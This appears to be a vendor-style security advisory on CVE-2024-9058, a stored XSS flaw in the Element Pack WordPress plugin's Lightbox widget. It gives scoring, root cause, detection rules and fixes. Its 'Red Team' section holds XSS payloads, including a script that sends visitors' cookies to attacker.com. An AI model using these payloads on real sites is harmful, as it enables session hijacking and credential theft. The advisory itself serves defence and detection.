CVE-2024-9058

Executive Summary

CVE-2024-9058 is a Stored Cross-Site Scripting (XSS) vulnerability in the Element Pack Elementor Addons plugin for WordPress, developed by Bdthemes. The flaw resides in the Lightbox widget and affects all versions up to and including 5.10.5. Due to insufficient input sanitization and output escaping, authenticated attackers with Contributor-level access or higher can inject arbitrary web scripts. These scripts execute whenever a victim user accesses the compromised page, leading to potential session hijacking, credential theft, or defacement.

This vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly. The plugin is widely used for building dynamic Elementor-based sites, making this a high-impact issue for WordPress administrators.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No NPM, PyPI, Go, or Ruby packages are involved. The plugin is installed directly from the WordPress admin dashboard or via manual upload. The lack of a patch from the vendor (Bdthemes) increases supply chain risk, as site owners must rely on custom mitigations or plugin removal.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction. An attacker with Contributor access can inject persistent XSS payloads that affect all site visitors.

Deep Dive & Mechanics

The vulnerability exists in the Lightbox widget of the Element Pack plugin. The widget fails to properly sanitize user-supplied input (e.g., image captions, titles, or custom attributes) before rendering it in the HTML output. Specifically, the esc_attr() or esc_html() functions are not applied to certain fields, allowing an attacker to inject JavaScript.

Attack Flow:

1. An authenticated user with Contributor-level access creates or edits a post/page using the Elementor editor.
2. The attacker adds the Lightbox widget and inserts a malicious payload into a vulnerable field (e.g., caption or title).
3. The plugin stores the payload in the WordPress database without proper sanitization.
4. When any user (including admins) visits the page, the payload executes in the context of the victim’s browser.

Root Cause: The plugin uses echo $value instead of echo esc_attr($value) or echo esc_html($value) in the Lightbox widget’s template file.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 5.10.5):

// In lightbox-widget.php
echo '<div class="bdt-lightbox-caption">' . $settings['caption'] . '</div>';

Patched Code (hypothetical fix):

// In lightbox-widget.php
echo '<div class="bdt-lightbox-caption">' . esc_html( $settings['caption'] ) . '</div>';

The fix applies esc_html() to the caption field, preventing script injection. The vendor has not released an official patch as of this report.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Element Pack plugin <= 5.10.5
• Contributor-level account or higher

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one using Elementor.
3. Add the Lightbox widget to the page.
4. In the widget settings, locate the caption field and inject the following payload:

   <img src=x onerror=alert('XSS')>
   

5. Save and publish the post.
6. When any user visits the page, the script executes.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual content in wp_posts.post_content containing <script> tags or event handlers.
• Look for Contributor-level users creating posts with Lightbox widgets.

Hardening:

• Disable the Lightbox widget via the plugin settings.
• Restrict Contributor-level access to trusted users only.
• Apply a Web Application Firewall (WAF) rule to block XSS payloads in post content.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/bdthemes-element-pack/modules/lightbox/widgets/lightbox-widget.php
• Database: Rows in wp_posts with post_content containing <script> tags or onerror/onload attributes.
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: Access logs showing requests to pages with Lightbox widgets containing suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2024_9058_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads targeting Element Pack Lightbox widget"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-9058"
    strings:
        $payload1 = /<script[^>]*>.*<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-9058 Stored XSS in Element Pack Lightbox Widget
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in WordPress posts containing Lightbox widget
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-content/plugins/bdthemes-element-pack/"
        http.body|contains|all:
            - "bdt-lightbox-caption"
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in captions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9058 Stored XSS in Element Pack Lightbox Widget"; flow:to_server,established; content:"/wp-content/plugins/bdthemes-element-pack/"; http_uri; content:"bdt-lightbox-caption"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Lightbox widget in the plugin settings (if possible).
2. Remove or restrict Contributor-level accounts to trusted users only.
3. Apply a WAF rule to block XSS payloads in post content.

Long-term Fix:

• Since no official patch is available, consider replacing the plugin with an alternative or manually patching the vulnerable file by adding esc_html() to the caption output.
• Monitor the vendor’s website for updates and apply the patch as soon as it is released.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this CVE.

Valters IT – DevSecOps & Cyber Threat Intelligence